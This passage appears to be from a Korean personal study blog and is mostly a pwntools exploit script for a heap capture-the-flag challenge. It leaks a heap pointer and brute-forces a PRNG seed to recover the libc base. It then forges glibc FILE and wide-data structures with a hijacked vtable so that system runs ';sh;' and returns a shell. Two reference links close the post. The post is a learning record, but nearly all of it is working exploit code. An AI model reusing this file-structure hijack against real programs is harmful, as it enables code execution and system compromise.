fopen_addr = reveal_ptr(u64(r.recvn(6).ljust(8, b"\x00"))) + 0x80

print("fopen_addr: ", hex(fopen_addr))

fopen()
fclose()
create(464)
view(2)


r.recvn(0x68)

encrypted_val = u64(r.recvn(8))

s = process("./rand")
while True:
    s.sendline(str(seed).encode("ascii"))
    encrypt_key = int(s.recvline()[:-1]) + (int(s.recvline()[:-1]) << 32)
    libc_base = (encrypted_val ^ encrypt_key) - libc.symbols["_IO_2_1_stderr_"]
    if libc_base & 0xffffff0000000fff == 0x00007f0000000000:
        break
    seed -= 1
    
s.close()

_IO_wfile_jumps = libc_base + libc.symbols["_IO_wfile_jumps"]
_IO_file_jumps = libc_base + libc.symbols["_IO_file_jumps"]
system = libc_base + libc.symbols["system"]

print("libc_base: ", hex(libc_base))

payload = p64(0xfbad0000)
payload += p64(0) * 13
payload += p32(0xffffffff) + p32(0)
payload += p64(0) * 2
payload += p64(fopen_addr + 0x2000) # _lock
payload += p64(0xffffffffffffffff) # _offset
payload += p64(0) * 8
payload += p64(_IO_file_jumps)

edit(2, payload)
fclose()
fopen()

payload = b"\x01\x01\x01\x01;sh;" # wide_data
# payload = b"/bin/sh\x00"
payload += p64(0)
payload += p64(system)
payload += p64(0) # wide_data->_IO_write_base == 0
payload += p64(0)
payload += p64(1)
payload += p64(0) # wide_data->_IO_buf_base == 0
payload += p64(0) * 10
payload += p64(fopen_addr + 0x2000) # _lock
payload += p64(0xffffffffffffffff) # _offset
payload += p64(0)
payload += p64(fopen_addr) # _wide_data
payload += p64(0) * 6
payload += p64(_IO_wfile_jumps) # vtable
payload += p64(fopen_addr - 0x58) # vtable of wide_data

edit(2, payload)
pause()
exit()

r.interactive()

참고링크

https://responsibility.tistory.com/89
https://qwerty-po.tistory.com/2

profile
공부 내용 저장소

0개의 댓글